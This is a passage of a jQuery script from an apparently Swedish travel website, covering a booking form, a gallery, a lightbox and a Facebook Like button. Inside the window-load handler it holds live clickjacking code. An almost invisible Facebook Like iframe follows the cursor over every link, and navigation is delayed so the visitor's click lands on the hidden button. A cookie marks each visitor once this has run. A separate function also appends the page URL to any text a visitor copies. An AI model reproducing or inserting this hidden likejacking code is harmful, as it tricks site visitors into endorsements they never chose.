	if ( this.value = this.value.replace(/[^0-9\.]/g,'') ) {} else { alert(barnVarning); $(this).val('0'); $('#bp').fadeOut(250); };
	});

	iBarn.keyup(function() {
	var htmlString = "";
	var len = iBarn.val();
	var countchilds = 1
	for (var i = 0; i < len; i++) {
	htmlString += '<select class="select"><option value="0">0-1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option><option value="6">6</option><option value="7">7</option><option value="8">8</option><option value="9">9</option><option value="10">10</option><option value="11">11</option></select>';
	}
	bp.html(btxt+htmlString+blink)
	bf.find('select.select').each(function(i) {$(this).attr("name", "age" + countchilds++); })
	$('#theAges').remove()
	bf.append(barnEdit)
	});


	// ** END BOOK FORM STUFF ** ----------------------------------------------------- //

}); //end ready

$(window).load(function() {

//Gallery
var galcheck = $('#l div.gallery')
if(galcheck.length != 0){
	var gallery = galcheck.find('a')
		gallery.each(function(){
		var galtitle = $(this).attr('title')
		$(this).append('<span>'+galtitle+'<em>Klicka för stor bild</em></span>')
	});

	gallery.hover(function(){
		$(this).find('span').stop().animate({ opacity: '0.8', 'top':'0' }, {duration: 500, easing: 'easeOutExpo'} );
	}, function() {
		$(this).find('span').stop().animate({ opacity: '0', 'top':'130px' }, {duration: 500, easing: 'easeOutExpo'});
	});

} //end if

//Lightbox
var left = $('#l,#r')
var imglight = left.find("a[rel='lightbox']")
imglight.colorbox({ onComplete:function(){ $('#cboxPhoto').hide().fadeIn('1000') } });

var exlink = left.find('#exlink')
if(exlink.length != 0){
	var extitle = exlink.attr('title')
	exlink.attr('href',extitle)
	exlink.click(function(){ window.open(extitle); return false; })
} //end if #exlink


//Add FB like
$('#l').append('<div id="fbframe"><iframe src="http://www.facebook.com/plugins/like.php?href='+lurl+'&amp;layout=button_count&amp;show_faces=false&amp;width=450&amp;action=like&amp;colorscheme=light&amp;locale=sv_SE" scrolling="no" frameborder="0" allowTransparency="true" id="fblike"></iframe></div>');
$('#fbframe').fadeIn(1000);
	
	//Config
	var myNum = 1; // 3 = 1/3 chance of activating, 2 = 50%, 1 = 100%
	var cURI = 'no'; // Use custom URI or current page URI? yes or no.
	var myURI = 'resorthailand.com'; // Your custom URI without http://
	var myTime = '3000'; //Refresh Timeout in msT
	
	
	//Begin
	if(cURI == 'yes') { var myURI = encodeURI(window.location.href); }
	var rnum = Math.floor(Math.random()*myNum+1);
	var gday = $.cookie("gday");
	
	if(rnum == 1) {
		if(gday !== 'true') {
			$('body').append('<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2F'+myURI+'&amp;layout=button_count&amp;show_faces=false&amp;width=250&amp;action=like&amp;colorscheme=light&amp;locale=sv_SE" scrolling="no" frameborder="0" allowTransparency="true" id="test2" style="height:10px;width:10px;border:0;background:red;z-index:99999;float:left;position:absolute;top:0;left:0;opacity:0.001; filter: alpha(opacity=0.001); -ms-filter: alpha(opacity=0.001);"></iframe>');
			$('a').bind('mousemove', function(e){
			href = '';
			href = $(this).attr('href');
				$('#test2').css({
					   left:  e.pageX-3,
					   top:   e.pageY-3,
					});
				
				setTimeout(function(){
				window.location = href;
				$.cookie("gday", "true", { path: '/', expires: 365 });
				$('a').unbind('mousemove');
				}, myTime); });
		} //end if
	} //end if rnum


}); //end load

//Add link on Copy
function addLink() {
	var body_element = document.getElementsByTagName('body')[0]; 
	var selection;
	selection = window.getSelection();
	var pagelink = ' Mer på: '+document.location.href; //working!
	var copytext = selection + pagelink;
	var newdiv = document.createElement('div');
	newdiv.style.position='absolute';
	newdiv.style.left='-99999px';
	body_element.appendChild(newdiv);
	newdiv.innerHTML = copytext;
	selection.selectAllChildren(newdiv);
	window.setTimeout(function() {
		body_element.removeChild(newdiv);
	},0);
}
document.oncopy = addLink;
